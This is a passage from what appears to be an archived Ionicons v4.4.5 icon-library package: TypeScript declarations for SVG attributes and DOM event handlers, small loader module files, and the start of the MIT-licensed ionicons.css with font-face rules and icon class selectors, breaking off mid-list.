    additive?: 'replace' | 'sum';
    alignmentBaseline?: 'auto' | 'baseline' | 'before-edge' | 'text-before-edge' | 'middle' | 'central' | 'after-edge' |
    'text-after-edge' | 'ideographic' | 'alphabetic' | 'hanging' | 'mathematical' | 'inherit';
    allowReorder?: 'no' | 'yes';
    alphabetic?: number | string;
    amplitude?: number | string;
    arabicForm?: 'initial' | 'medial' | 'terminal' | 'isolated';
    ascent?: number | string;
    attributeName?: string;
    attributeType?: string;
    autoReverse?: number | string;
    azimuth?: number | string;
    baseFrequency?: number | string;
    baselineShift?: number | string;
    baseProfile?: number | string;
    bbox?: number | string;
    begin?: number | string;
    bias?: number | string;
    by?: number | string;
    calcMode?: number | string;
    capHeight?: number | string;
    clip?: number | string;
    clipPath?: string;
    clipPathUnits?: number | string;
    clipRule?: number | string;
    colorInterpolation?: number | string;
    colorInterpolationFilters?: 'auto' | 'sRGB' | 'linearRGB' | 'inherit';
    colorProfile?: number | string;
    colorRendering?: number | string;
    contentScriptType?: number | string;
    contentStyleType?: number | string;
    cursor?: number | string;
    cx?: number | string;
    cy?: number | string;
    d?: string;
    decelerate?: number | string;
    descent?: number | string;
    diffuseConstant?: number | string;
    direction?: number | string;
    display?: number | string;
    divisor?: number | string;
    dominantBaseline?: number | string;
    dur?: number | string;
    dx?: number | string;
    dy?: number | string;
    edgeMode?: number | string;
    elevation?: number | string;
    enableBackground?: number | string;
    end?: number | string;
    exponent?: number | string;
    externalResourcesRequired?: number | string;
    fill?: string;
    fillOpacity?: number | string;
    fillRule?: 'nonzero' | 'evenodd' | 'inherit';
    filter?: string;
    filterRes?: number | string;
    filterUnits?: number | string;
    floodColor?: number | string;
    floodOpacity?: number | string;
    focusable?: number | string;
    fontFamily?: string;
    fontSize?: number | string;
    fontSizeAdjust?: number | string;
    fontStretch?: number | string;
    fontStyle?: number | string;
    fontVariant?: number | string;
    fontWeight?: number | string;
    format?: number | string;
    from?: number | string;
    fx?: number | string;
    fy?: number | string;
    g1?: number | string;
    g2?: number | string;
    glyphName?: number | string;
    glyphOrientationHorizontal?: number | string;
    glyphOrientationVertical?: number | string;
    glyphRef?: number | string;
    gradientTransform?: string;
    gradientUnits?: string;
    hanging?: number | string;
    horizAdvX?: number | string;
    horizOriginX?: number | string;
    ideographic?: number | string;
    imageRendering?: number | string;
    in2?: number | string;
    in?: string;
    intercept?: number | string;
    k1?: number | string;
    k2?: number | string;
    k3?: number | string;
    k4?: number | string;
    k?: number | string;
    kernelMatrix?: number | string;
    kernelUnitLength?: number | string;
    kerning?: number | string;
    keyPoints?: number | string;
    keySplines?: number | string;
    keyTimes?: number | string;
    lengthAdjust?: number | string;
    letterSpacing?: number | string;
    lightingColor?: number | string;
    limitingConeAngle?: number | string;
    local?: number | string;
    markerEnd?: string;
    markerHeight?: number | string;
    markerMid?: string;
    markerStart?: string;
    markerUnits?: number | string;
    markerWidth?: number | string;
    mask?: string;
    maskContentUnits?: number | string;
    maskUnits?: number | string;
    mathematical?: number | string;
    mode?: number | string;
    numOctaves?: number | string;
    offset?: number | string;
    opacity?: number | string;
    operator?: number | string;
    order?: number | string;
    orient?: number | string;
    orientation?: number | string;
    origin?: number | string;
    overflow?: number | string;
    overlinePosition?: number | string;
    overlineThickness?: number | string;
    paintOrder?: number | string;
    panose1?: number | string;
    pathLength?: number | string;
    patternContentUnits?: string;
    patternTransform?: number | string;
    patternUnits?: string;
    pointerEvents?: number | string;
    points?: string;
    pointsAtX?: number | string;
    pointsAtY?: number | string;
    pointsAtZ?: number | string;
    preserveAlpha?: number | string;
    preserveAspectRatio?: string;
    primitiveUnits?: number | string;
    r?: number | string;
    radius?: number | string;
    refX?: number | string;
    refY?: number | string;
    renderingIntent?: number | string;
    repeatCount?: number | string;
    repeatDur?: number | string;
    requiredExtensions?: number | string;
    requiredFeatures?: number | string;
    restart?: number | string;
    result?: string;
    rotate?: number | string;
    rx?: number | string;
    ry?: number | string;
    scale?: number | string;
    seed?: number | string;
    shapeRendering?: number | string;
    slope?: number | string;
    spacing?: number | string;
    specularConstant?: number | string;
    specularExponent?: number | string;
    speed?: number | string;
    spreadMethod?: string;
    startOffset?: number | string;
    stdDeviation?: number | string;
    stemh?: number | string;
    stemv?: number | string;
    stitchTiles?: number | string;
    stopColor?: string;
    stopOpacity?: number | string;
    strikethroughPosition?: number | string;
    strikethroughThickness?: number | string;
    string?: number | string;
    stroke?: string;
    strokeDasharray?: string | number;
    strokeDashoffset?: string | number;
    strokeLinecap?: 'butt' | 'round' | 'square' | 'inherit';
    strokeLinejoin?: 'miter' | 'round' | 'bevel' | 'inherit';
    strokeMiterlimit?: string;
    strokeOpacity?: number | string;
    strokeWidth?: number | string;
    surfaceScale?: number | string;
    systemLanguage?: number | string;
    tableValues?: number | string;
    targetX?: number | string;
    targetY?: number | string;
    textAnchor?: string;
    textDecoration?: number | string;
    textLength?: number | string;
    textRendering?: number | string;
    to?: number | string;
    transform?: string;
    u1?: number | string;
    u2?: number | string;
    underlinePosition?: number | string;
    underlineThickness?: number | string;
    unicode?: number | string;
    unicodeBidi?: number | string;
    unicodeRange?: number | string;
    unitsPerEm?: number | string;
    vAlphabetic?: number | string;
    values?: string;
    vectorEffect?: number | string;
    version?: string;
    vertAdvY?: number | string;
    vertOriginX?: number | string;
    vertOriginY?: number | string;
    vHanging?: number | string;
    vIdeographic?: number | string;
    viewBox?: string;
    viewTarget?: number | string;
    visibility?: number | string;
    vMathematical?: number | string;
    widths?: number | string;
    wordSpacing?: number | string;
    writingMode?: number | string;
    x1?: number | string;
    x2?: number | string;
    x?: number | string;
    xChannelSelector?: string;
    xHeight?: number | string;
    xlinkActuate?: string;
    xlinkArcrole?: string;
    xlinkHref?: string;
    xlinkRole?: string;
    xlinkShow?: string;
    xlinkTitle?: string;
    xlinkType?: string;
    xmlBase?: string;
    xmlLang?: string;
    xmlns?: string;
    xmlnsXlink?: string;
    xmlSpace?: string;
    y1?: number | string;
    y2?: number | string;
    y?: number | string;
    yChannelSelector?: string;
    z?: number | string;
    zoomAndPan?: string;
  }

  export interface DOMAttributes {
    // Clipboard Events
    onCopy?: (event: ClipboardEvent) => void;
    onCopyCapture?: (event: ClipboardEvent) => void;
    onCut?: (event: ClipboardEvent) => void;
    onCutCapture?: (event: ClipboardEvent) => void;
    onPaste?: (event: ClipboardEvent) => void;
    onPasteCapture?: (event: ClipboardEvent) => void;

    // Composition Events
    onCompositionEnd?: (event: CompositionEvent) => void;
    onCompositionEndCapture?: (event: CompositionEvent) => void;
    onCompositionStart?: (event: CompositionEvent) => void;
    onCompositionStartCapture?: (event: CompositionEvent) => void;
    onCompositionUpdate?: (event: CompositionEvent) => void;
    onCompositionUpdateCapture?: (event: CompositionEvent) => void;

    // Focus Events
    onFocus?: (event: FocusEvent) => void;
    onFocusCapture?: (event: FocusEvent) => void;
    onBlur?: (event: FocusEvent) => void;
    onBlurCapture?: (event: FocusEvent) => void;

    // Form Events
    onChange?: (event: Event) => void;
    onChangeCapture?: (event: Event) => void;
    onInput?: (event: Event) => void;
    onInputCapture?: (event: Event) => void;
    onReset?: (event: Event) => void;
    onResetCapture?: (event: Event) => void;
    onSubmit?: (event: Event) => void;
    onSubmitCapture?: (event: Event) => void;
    onInvalid?: (event: Event) => void;
    onInvalidCapture?: (event: Event) => void;

    // Image Events
    onLoad?: (event: Event) => void;
    onLoadCapture?: (event: Event) => void;
    onError?: (event: Event) => void; // also a Media Event
    onErrorCapture?: (event: Event) => void; // also a Media Event

    // Keyboard Events
    onKeyDown?: (event: KeyboardEvent) => void;
    onKeyDownCapture?: (event: KeyboardEvent) => void;
    onKeyPress?: (event: KeyboardEvent) => void;
    onKeyPressCapture?: (event: KeyboardEvent) => void;
    onKeyUp?: (event: KeyboardEvent) => void;
    onKeyUpCapture?: (event: KeyboardEvent) => void;

    // MouseEvents
    onAuxClick?: (event: MouseEvent) => void;
    onClick?: (event: MouseEvent) => void;
    onClickCapture?: (event: MouseEvent) => void;
    onContextMenu?: (event: MouseEvent) => void;
    onContextMenuCapture?: (event: MouseEvent) => void;
    onDblClick?: (event: MouseEvent) => void;
    onDblClickCapture?: (event: MouseEvent) => void;
    onDrag?: (event: DragEvent) => void;
    onDragCapture?: (event: DragEvent) => void;
    onDragEnd?: (event: DragEvent) => void;
    onDragEndCapture?: (event: DragEvent) => void;
    onDragEnter?: (event: DragEvent) => void;
    onDragEnterCapture?: (event: DragEvent) => void;
    onDragExit?: (event: DragEvent) => void;
    onDragExitCapture?: (event: DragEvent) => void;
    onDragLeave?: (event: DragEvent) => void;
    onDragLeaveCapture?: (event: DragEvent) => void;
    onDragOver?: (event: DragEvent) => void;
    onDragOverCapture?: (event: DragEvent) => void;
    onDragStart?: (event: DragEvent) => void;
    onDragStartCapture?: (event: DragEvent) => void;
    onDrop?: (event: DragEvent) => void;
    onDropCapture?: (event: DragEvent) => void;
    onMouseDown?: (event: MouseEvent) => void;
    onMouseDownCapture?: (event: MouseEvent) => void;
    onMouseEnter?: (event: MouseEvent) => void;
    onMouseLeave?: (event: MouseEvent) => void;
    onMouseMove?: (event: MouseEvent) => void;
    onMouseMoveCapture?: (event: MouseEvent) => void;
    onMouseOut?: (event: MouseEvent) => void;
    onMouseOutCapture?: (event: MouseEvent) => void;
    onMouseOver?: (event: MouseEvent) => void;
    onMouseOverCapture?: (event: MouseEvent) => void;
    onMouseUp?: (event: MouseEvent) => void;
    onMouseUpCapture?: (event: MouseEvent) => void;

    // Touch Events
    onTouchCancel?: (event: TouchEvent) => void;
    onTouchCancelCapture?: (event: TouchEvent) => void;
    onTouchEnd?: (event: TouchEvent) => void;
    onTouchEndCapture?: (event: TouchEvent) => void;
    onTouchMove?: (event: TouchEvent) => void;
    onTouchMoveCapture?: (event: TouchEvent) => void;
    onTouchStart?: (event: TouchEvent) => void;
    onTouchStartCapture?: (event: TouchEvent) => void;

    // UI Events
    onScroll?: (event: UIEvent) => void;
    onScrollCapture?: (event: UIEvent) => void;

    // Wheel Events
    onWheel?: (event: WheelEvent) => void;
    onWheelCapture?: (event: WheelEvent) => void;

    // Animation Events
    onAnimationStart?: (event: AnimationEvent) => void;
    onAnimationStartCapture?: (event: AnimationEvent) => void;
    onAnimationEnd?: (event: AnimationEvent) => void;
    onAnimationEndCapture?: (event: AnimationEvent) => void;
    onAnimationIteration?: (event: AnimationEvent) => void;
    onAnimationIterationCapture?: (event: AnimationEvent) => void;

    // Transition Events
    onTransitionEnd?: (event: TransitionEvent) => void;
    onTransitionEndCapture?: (event: TransitionEvent) => void;
  }
}

export interface FunctionalUtilities {
  forEach: (children: FVNode[], cb: (vnode: ChildNode, index: number, array: FVNode[]) => void) => void;
  map: (children: FVNode[], cb: (vnode: ChildNode, index: number, array: FVNode[]) => ChildNode) => FVNode[];
}

export interface FunctionalComponent<T = {}> {
  (props: T, children: FVNode[], utils: FunctionalUtilities): FVNode | FVNode[];
}

export interface FVNode {
  // using v prefixes largely so closure has no issue property renaming
  vtag?: string | number | Function;
  vkey?: string | number;
  vtext?: string;
  vchildren?: FVNode[];
  vattrs?: any;
  vname?: string;
  ishost?: boolean;
  isSlotFallback?: boolean;
  isSlotReference?: boolean;
}

export interface ChildNode {
  vtag?: string | number | Function;
  vkey?: string | number;
  vtext?: string;
  vchildren?: ChildNode[];
  vattrs?: any;
  vname?: string;
}
loader/package.json000064400000000163151701353760010310 0ustar00{
  "name": "loader",
  "typings": "./index.d.ts",
  "module": "./index.js",
  "es2017": "./index.es2017.js"
}loader/index.js000064400000000056151701353760007470 0ustar00export * from '../esm/es5/ionicons.define.js';loader/index.es2017.js000064400000000061151701353760010404 0ustar00export * from '../esm/es2017/ionicons.define.js';loader/index.d.ts000064400000000106151701353760007720 0ustar00export declare function defineCustomElements(win: any): Promise<void>;css/ionicons.css000064400000157505151701353760007714 0ustar00@charset "UTF-8";
/*!
  Ionicons, v4.4.5
  Created by Ben Sperry for the Ionic Framework, http://ionicons.com/
  https://twitter.com/benjsperry  https://twitter.com/ionicframework
  MIT License: https://github.com/driftyco/ionicons

  Android-style icons originally built by Google’s
  Material Design Icons: https://github.com/google/material-design-icons
  used under CC BY http://creativecommons.org/licenses/by/4.0/
  Modified icons to fit ionicon’s grid from original.
*/
@font-face {
  font-family: "Ionicons";
  src: url("../fonts/ionicons.eot?v=4.4.5");
  src: url("../fonts/ionicons.eot?v=4.4.5#iefix") format("embedded-opentype"), url("../fonts/ionicons.woff2?v=4.4.5") format("woff2"), url("../fonts/ionicons.woff?v=4.4.5") format("woff"), url("../fonts/ionicons.ttf?v=4.4.5") format("truetype"), url("../fonts/ionicons.svg?v=4.4.5#Ionicons") format("svg");
  font-weight: normal;
  font-style: normal;
}

.ion, .ionicons,
.ion-ios-add:before,
.ion-ios-add-circle:before,
.ion-ios-add-circle-outline:before,
.ion-ios-airplane:before,
.ion-ios-alarm:before,
.ion-ios-albums:before,
.ion-ios-alert:before,
.ion-ios-american-football:before,
.ion-ios-analytics:before,
.ion-ios-aperture:before,
.ion-ios-apps:before,
.ion-ios-appstore:before,
.ion-ios-archive:before,
.ion-ios-arrow-back:before,
.ion-ios-arrow-down:before,
.ion-ios-arrow-dropdown:before,
.ion-ios-arrow-dropdown-circle:before,
.ion-ios-arrow-dropleft:before,
.ion-ios-arrow-dropleft-circle:before,
.ion-ios-arrow-dropright:before,
.ion-ios-arrow-dropright-circle:before,
.ion-ios-arrow-dropup:before,
.ion-ios-arrow-dropup-circle:before,
.ion-ios-arrow-forward:before,
.ion-ios-arrow-round-back:before,
.ion-ios-arrow-round-down:before,
.ion-ios-arrow-round-forward:before,
.ion-ios-arrow-round-up:before,
.ion-ios-arrow-up:before,
.ion-ios-at:before,
.ion-ios-attach:before,
.ion-ios-backspace:before,
.ion-ios-barcode:before,
.ion-ios-baseball:before,
.ion-ios-basket:before,
.ion-ios-basketball:before,
.ion-ios-battery-charging:before,
.ion-ios-battery-dead:before,
.ion-ios-battery-full:before,
.ion-ios-beaker:before,
.ion-ios-bed:before,
.ion-ios-beer:before,
.ion-ios-bicycle:before,
.ion-ios-bluetooth:before,
.ion-ios-boat:before,
.ion-ios-body:before,
.ion-ios-bonfire:before,
.ion-ios-book:before,
.ion-ios-bookmark:before,
.ion-ios-bookmarks:before,
.ion-ios-bowtie:before,
.ion-ios-briefcase:before,
.ion-ios-browsers:before,
.ion-ios-brush:before,
.ion-ios-bug:before,
.ion-ios-build:before,
.ion-ios-bulb:before,
.ion-ios-bus:before,
.ion-ios-business:before,
.ion-ios-cafe:before,
.ion-ios-calculator:before,
.ion-ios-calendar:before,
.ion-ios-call:before,
.ion-ios-camera:before,
.ion-ios-car:before,
.ion-ios-card:before,
.ion-ios-cart:before,
.ion-ios-cash:before,
.ion-ios-cellular:before,
.ion-ios-chatboxes:before,
.ion-ios-chatbubbles:before,
.ion-ios-checkbox:before,
.ion-ios-checkbox-outline:before,
.ion-ios-checkmark:before,
.ion-ios-checkmark-circle:before,
.ion-ios-checkmark-circle-outline:before,
.ion-ios-clipboard:before,
.ion-ios-clock:before,
.ion-ios-close:before,
.ion-ios-close-circle:before,
.ion-ios-close-circle-outline:before,
.ion-ios-cloud:before,
.ion-ios-cloud-circle:before,
.ion-ios-cloud-done:before,
.ion-ios-cloud-download:before,
.ion-ios-cloud-outline:before,
.ion-ios-cloud-upload:before,
.ion-ios-cloudy:before,
.ion-ios-cloudy-night:before,
.ion-ios-code:before,
.ion-ios-code-download:before,
.ion-ios-code-working:before,
.ion-ios-cog:before,
.ion-ios-color-fill:before,
.ion-ios-color-filter:before,
.ion-ios-color-palette:before,
.ion-ios-color-wand:before,
.ion-ios-compass:before,
.ion-ios-construct:before,
.ion-ios-contact:before,
.ion-ios-contacts:before,
.ion-ios-contract:before,
.ion-ios-contrast:before,
.ion-ios-copy:before,
.ion-ios-create:before,
.ion-ios-crop:before,
.ion-ios-cube:before,
.ion-ios-cut:before,
.ion-ios-desktop:before,
.ion-ios-disc:before,
.ion-ios-document:before,
.ion-ios-done-all:before,
.ion-ios-download:before,
.ion-ios-easel:before,
.ion-ios-egg:before,
.ion-ios-exit:before,
.ion-ios-expand:before,
.ion-ios-eye:before,
.ion-ios-eye-off:before,
.ion-ios-fastforward:before,
.ion-ios-female:before,
.ion-ios-filing:before,
.ion-ios-film:before,
.ion-ios-finger-print:before,
.ion-ios-fitness:before,
.ion-ios-flag:before,
.ion-ios-flame:before,
.ion-ios-flash:before,
.ion-ios-flash-off:before,
.ion-ios-flashlight:before,
.ion-ios-flask:before,
.ion-ios-flower:before,
.ion-ios-folder:before,
.ion-ios-folder-open:before,
.ion-ios-football:before,
.ion-ios-funnel:before,
.ion-ios-gift:before,
.ion-ios-git-branch:before,
.ion-ios-git-commit:before,
.ion-ios-git-compare:before,
.ion-ios-git-merge:before,
.ion-ios-git-network:before,
.ion-ios-git-pull-request:before,
.ion-ios-glasses:before,
.ion-ios-globe:before,
.ion-ios-grid:before,
.ion-ios-hammer:before,
.ion-ios-hand:before,
.ion-ios-happy:before,
.ion-ios-headset:before,
.ion-ios-heart:before,
.ion-ios-heart-dislike:before,
.ion-ios-heart-empty:before,
.ion-ios-heart-half:before,
.ion-ios-help:before,
.ion-ios-help-buoy:before,
.ion-ios-help-circle:before,
.ion-ios-help-circle-outline:before,
.ion-ios-home:before,
.ion-ios-hourglass:before,
.ion-ios-ice-cream:before,
.ion-ios-image:before,
.ion-ios-images:before,
.ion-ios-infinite:before,
.ion-ios-information:before,
.ion-ios-information-circle:before,
.ion-ios-information-circle-outline:before,
.ion-ios-jet:before,
.ion-ios-journal:before,
.ion-ios-key:before,
.ion-ios-keypad:before,
.ion-ios-laptop:before,
.ion-ios-leaf:before,
.ion-ios-link:before,
.ion-ios-list:before,
.ion-ios-list-box:before,
.ion-ios-locate:before,
.ion-ios-lock:before,
.ion-ios-log-in:before,
.ion-ios-log-out:before,
.ion-ios-magnet:before,
.ion-ios-mail:before,
.ion-ios-mail-open:before,
.ion-ios-mail-unread:before,
.ion-ios-male:before,
.ion-ios-man:before,
.ion-ios-map:before,
.ion-ios-medal:before,
.ion-ios-medical:before,
.ion-ios-medkit:before,
.ion-ios-megaphone:before,
.ion-ios-menu:before,
.ion-ios-mic:before,
.ion-ios-mic-off:before,
.ion-ios-microphone:before,
.ion-ios-moon:before,
.ion-ios-more:before,
.ion-ios-move:before,
.ion-ios-musical-note:before,
.ion-ios-musical-notes:before,
.ion-ios-navigate:before,
.ion-ios-notifications:before,
.ion-ios-notifications-off:before,
.ion-ios-notifications-outline:before,
.ion-ios-nuclear:before,
.ion-ios-nutrition:before,
.ion-ios-open:before,
.ion-ios-options:before,
.ion-ios-outlet:before,
.ion-ios-paper:before,
.ion-ios-paper-plane:before,
.ion-ios-partly-sunny:before,
.ion-ios-pause:before,
.ion-ios-paw:before,
.ion-ios-people:before,
.ion-ios-person:before,
.ion-ios-person-add:before,
.ion-ios-phone-landscape:before,
.ion-ios-phone-portrait:before,
.ion-ios-photos:before,
.ion-ios-pie:before,
.ion-ios-pin:before,
.ion-ios-pint:before,
.ion-ios-pizza:before,
.ion-ios-planet:before,
.ion-ios-play:before,
.ion-ios-play-circle:before,
.ion-ios-podium:before,
.ion-ios-power:before,
.ion-ios-pricetag:before,
.ion-ios-pricetags:before,
.ion-ios-print:before,
.ion-ios-pulse:before,
.ion-ios-qr-scanner:before,
.ion-ios-quote:before,
.ion-ios-radio:before,
.ion-ios-radio-button-off:before,
.ion-ios-radio-button-on:before,
.ion-ios-rainy:before,
.ion-ios-recording:before,
.ion-ios-redo:before,
.ion-ios-refresh:before,
.ion-ios-refresh-circle:before,
.ion-ios-remove:before,
.ion-ios-remove-circle:before,
.ion-ios-remove-circle-outline:before,
.ion-ios-reorder:before,
.ion-ios-repeat:before,
.ion-ios-resize:before,
.ion-ios-restaurant:before,
.ion-ios-return-left:before,
.ion-ios-return-right:before,
.ion-ios-reverse-camera:before,
.ion-ios-rewind:before,
.ion-ios-ribbon:before,
.ion-ios-rocket:before,
.ion-ios-rose:before,
.ion-ios-sad:before,
.ion-ios-save:before,
.ion-ios-school:before,
.ion-ios-search:before,
.ion-ios-send:before,
.ion-ios-settings:before,
.ion-ios-share:before,
.ion-ios-share-alt:before,
.ion-ios-shirt:before,
.ion-ios-shuffle:before,
.ion-ios-skip-backward:before,
.ion-ios-skip-forward:before,
.ion-ios-snow:before,
.ion-ios-speedometer:before,
.ion-ios-square:before,
.ion-ios-square-outline:before,
.ion-ios-star:before,
.ion-ios-star-half:before,
.ion-ios-star-outline:before,
.ion-ios-stats:before,
.ion-ios-stopwatch:before,
.ion-ios-subway:before,
.ion-ios-sunny:before,
.ion-ios-swap:before,
.ion-ios-switch:before,
.ion-ios-sync:before,
.ion-ios-tablet-landscape:before,
.ion-ios-tablet-portrait:before,
.ion-ios-tennisball:before,
.ion-ios-text:before,
.ion-ios-thermometer:before,
.ion-ios-thumbs-down:before,
.ion-ios-thumbs-up:before,
.ion-ios-thunderstorm:before,
.ion-ios-time:before,
.ion-ios-timer:before,
.ion-ios-today:before,
.ion-ios-train:before,
.ion-ios-transgender:before,
.ion-ios-trash:before,
.ion-ios-trending-down:before,
.ion-ios-trending-up:before,
.ion-ios-trophy:before,
.ion-ios-tv:before,
.ion-ios-umbrella:before,
.ion-ios-undo:before,
.ion-ios-unlock:before,
.ion-ios-videocam:before,
.ion-ios-volume-high:before,
.ion-ios-volume-low:before,
.ion-ios-volume-mute:before,
.ion-ios-volume-off:before,
.ion-ios-walk:before,
.ion-ios-wallet:before,
.ion-ios-warning:before,
.ion-ios-watch:before,
.ion-ios-water:before,
.ion-ios-wifi:before,
.ion-ios-wine:before,
.ion-ios-woman:before,
.ion-logo-android:before,
.ion-logo-angular:before,
.ion-logo-apple:before,
.ion-logo-bitbucket:before,
.ion-logo-bitcoin:before,
.ion-logo-buffer:before,
.ion-logo-chrome:before,
.ion-logo-closed-captioning:before,
.ion-logo-codepen:before,
.ion-logo-css3:before,
.ion-logo-designernews:before,
.ion-logo-dribbble:before,
.ion-logo-dropbox:before,
.ion-logo-euro:before,
.ion-logo-facebook:before,
.ion-logo-flickr:before,
.ion-logo-foursquare:before,
.ion-logo-freebsd-devil:before,
.ion-logo-game-controller-a:before,
.ion-logo-game-controller-b:before,
.ion-logo-github:before,
.ion-logo-google:before,
.ion-logo-googleplus:before,
.ion-logo-hackernews:before,
.ion-logo-html5:before,
.ion-logo-instagram:before,
.ion-logo-ionic:before,
.ion-logo-ionitron:before,
.ion-logo-javascript:before,
.ion-logo-linkedin:before,
.ion-logo-markdown:before,
.ion-logo-model-s:before,
.ion-logo-no-smoking:before,
.ion-logo-nodejs:before,
.ion-logo-npm:before,
.ion-logo-octocat:before,
.ion-logo-pinterest:before,
.ion-logo-playstation:before,
.ion-logo-polymer:before,
.ion-logo-python:before,
.ion-logo-reddit:before,
.ion-logo-rss:before,
.ion-logo-sass:before,
.ion-logo-skype:before,
.ion-logo-slack:before,
.ion-logo-snapchat:before,
.ion-logo-steam:before,
.ion-logo-tumblr:before,
.ion-logo-tux:before,
.ion-logo-twitch:before,
.ion-logo-twitter:before,
.ion-logo-usd:before,
.ion-logo-vimeo:before,
.ion-logo-vk:before,
.ion-logo-whatsapp:before,
.ion-logo-windows:before,
.ion-logo-wordpress:before,
.ion-logo-xbox:before,
.ion-logo-xing:before,
.ion-logo-yahoo:before,
.ion-logo-yen:before,
.ion-logo-youtube:before,
.ion-md-add:before,
.ion-md-add-circle:before,
.ion-md-add-circle-outline:before,
.ion-md-airplane:before,
.ion-md-alarm:before,
.ion-md-albums:before,
.ion-md-alert:before,
.ion-md-american-football:before,
.ion-md-analytics:before,
.ion-md-aperture:before,
.ion-md-apps:before,
.ion-md-appstore:before,
.ion-md-archive:before,
.ion-md-arrow-back:before,
.ion-md-arrow-down:before,
.ion-md-arrow-dropdown:before,
.ion-md-arrow-dropdown-circle:before,
.ion-md-arrow-dropleft:before,
.ion-md-arrow-dropleft-circle:before,
.ion-md-arrow-dropright:before,
.ion-md-arrow-dropright-circle:before,
.ion-md-arrow-dropup:before,
.ion-md-arrow-dropup-circle:before,
.ion-md-arrow-forward:before,
.ion-md-arrow-round-back:before,
.ion-md-arrow-round-down:before,
.ion-md-arrow-round-forward:before,
.ion-md-arrow-round-up:before,
.ion-md-arrow-up:before,
.ion-md-at:before,
.ion-md-attach:before,
.ion-md-backspace:before,
.ion-md-barcode:before,
.ion-md-baseball:before,
.ion-md-basket:before,
.ion-md-basketball:before,
.ion-md-battery-charging:before,
.ion-md-battery-dead:before,
.ion-md-battery-full:before,
.ion-md-beaker:before,
.ion-md-bed:before,
.ion-md-beer:before,
.ion-md-bicycle:before,
.ion-md-bluetooth:before,
.ion-md-boat:before,
.ion-md-body:before,
.ion-md-bonfire:before,
.ion-md-book:before,
.ion-md-bookmark:before,
.ion-md-bookmarks:before,
.ion-md-bowtie:before,
.ion-md-briefcase:before,
.ion-md-browsers:before,
.ion-md-brush:before,
.ion-md-bug:before,
.ion-md-build:before,
.ion-md-bulb:before,
.ion-md-bus:before,
.ion-md-business:before,
.ion-md-cafe:before,
.ion-md-calculator:before,
.ion-md-calendar:before,
.ion-md-call:before,
.ion-md-camera:before,
.ion-md-car:before,
.ion-md-card:before,
.ion-md-cart:before,
.ion-md-cash:before,
.ion-md-cellular:before,
.ion-md-chatboxes:before,
.ion-md-chatbubbles:before,
.ion-md-checkbox:before,
.ion-md-checkbox-outline:before,
.ion-md-checkmark:before,
.ion-md-checkmark-circle:before,
.ion-md-checkmark-circle-outline:before,
.ion-md-clipboard:before,
.ion-md-clock:before,
.ion-md-close:before,
.ion-md-close-circle:before,
.ion-md-close-circle-outline:before,
.ion-md-cloud:before,
.ion-md-cloud-circle:before,
.ion-md-cloud-done:before,
.ion-md-cloud-download:before,
.ion-md-cloud-outline:before,
.ion-md-cloud-upload:before,
.ion-md-cloudy:before,
.ion-md-cloudy-night:before,
.ion-md-code:before,
.ion-md-code-download:before,
.ion-md-code-working:before,
.ion-md-cog:before,
.ion-md-color-fill:before,
.ion-md-color-filter:before,
.ion-md-color-palette:before,
.ion-md-color-wand:before,
.ion-md-compass:before,
.ion-md-construct:before,
.ion-md-contact:before,
.ion-md-contacts:before,
.ion-md-contract:before,
.ion-md-contrast:before,
.ion-md-copy:before,
.ion-md-create:before,
.ion-md-crop:before,
.ion-md-cube:before,
.ion-md-cut:before,
.ion-md-desktop:before,
.ion-md-disc:before,
.ion-md-document:before,
.ion-md-done-all:before,
.ion-md-download:before,
.ion-md-easel:before,
.ion-md-egg:before,
.ion-md-exit:before,
.ion-md-expand:before,
.ion-md-eye:before,
.ion-md-eye-off:before,
.ion-md-fastforward:before,
.ion-md-female:before,
.ion-md-filing:before,
.ion-md-film:before,
.ion-md-finger-print:before,
.ion-md-fitness:before,
.ion-md-flag:before,
.ion-md-flame:before,
.ion-md-flash:before,
.ion-md-flash-off:before,
.ion-md-flashlight:before,
.ion-md-flask:before,
.ion-md-flower:before,
.ion-md-folder:before,
.ion-md-folder-open:before,
.ion-md-football:before,
.ion-md-funnel:before,
.ion-md-gift:before,
.ion-md-git-branch:before,
.ion-md-git-commit:before,
.ion-md-git-compare:before,
.ion-md-git-merge:before,
.ion-md-git-network:before,
.ion-md-git-pull-request:before,
.ion-md-glasses:before,
.ion-md-globe:before,
.ion-md-grid:before,
.ion-md-hammer:before,
.ion-md-hand:before,
.ion-md-happy:before,
.ion-md-headset:before,
.ion-md-heart:before,
.ion-md-heart-dislike:before,
.ion-md-heart-empty:before,
.ion-md-heart-half:before,
.ion-md-help:before,
.ion-md-help-buoy:before,
.ion-md-help-circle:before,
.ion-md-help-circle-outline:before,
.ion-md-home:before,
.ion-md-hourglass:before,
.ion-md-ice-cream:before,
.ion-md-image:before,
.ion-md-images:before,
.ion-md-infinite:before,
.ion-md-information:before,
.ion-md-information-circle:before,
.ion-md-information-circle-outline:before,
.ion-md-jet:before,
.ion-md-journal:before,
.ion-md-key:before,
.ion-md-keypad:before,
.ion-md-laptop:before,
.ion-md-leaf:before,
.ion-md-link:before,
.ion-md-list:before,
.ion-md-list-box:before,
.ion-md-locate:before,
.ion-md-lock:before,
.ion-md-log-in:before,
.ion-md-log-out:before,
.ion-md-magnet:before,
.ion-md-mail:before,
.ion-md-mail-open:before,
.ion-md-mail-unread:before,
.ion-md-male:before,
.ion-md-man:before,
.ion-md-map:before,
.ion-md-medal:before,
.ion-md-medical:before,
.ion-md-medkit:before,
.ion-md-megaphone:before,
.ion-md-menu:before,
.ion-md-mic:before,
.ion-md-mic-off:before,
.ion-md-microphone:before,
.ion-md-moon:before,
.ion-md-more:before,
.ion-md-move:before,
.ion-md-musical-note:before,
.ion-md-musical-notes:before,
.ion-md-navigate:before,
.ion-md-notifications:before,
.ion-md-notifications-off:before,
.ion-md-notifications-outline:before,
.ion-md-nuclear:before,
.ion-md-nutrition:before,
.ion-md-open:before,
.ion-md-options:before,
.ion-md-outlet:before,
.ion-md-paper:before,
.ion-md-paper-plane:before,
.ion-md-partly-sunny:before,
.ion-md-pause:before,
.ion-md-paw:before,
.ion-md-people:before,
.ion-md-person:before,
.ion-md-person-add:before,
.ion-md-phone-landscape:before,
.ion-md-phone-portrait:before,
.ion-md-photos:before,
.ion-md-pie:before,
.ion-md-pin:before,
.ion-md-pint:before,
.ion-md-pizza:before,
.ion-md-planet:before,
.ion-md-play:before,
.ion-md-play-circle:before,
.ion-md-podium:before,
.ion-md-power:before,
.ion-md-pricetag:before,
.ion-md-pricetags:before,
.ion-md-print:before,
.ion-md-pulse:before,
.ion-md-qr-scanner:before,
.ion-md-quote:before,
.ion-md-radio:before,
.ion-md-radio-button-off:before,
.ion-md-radio-button-on:before,
.ion-md-rainy:before,
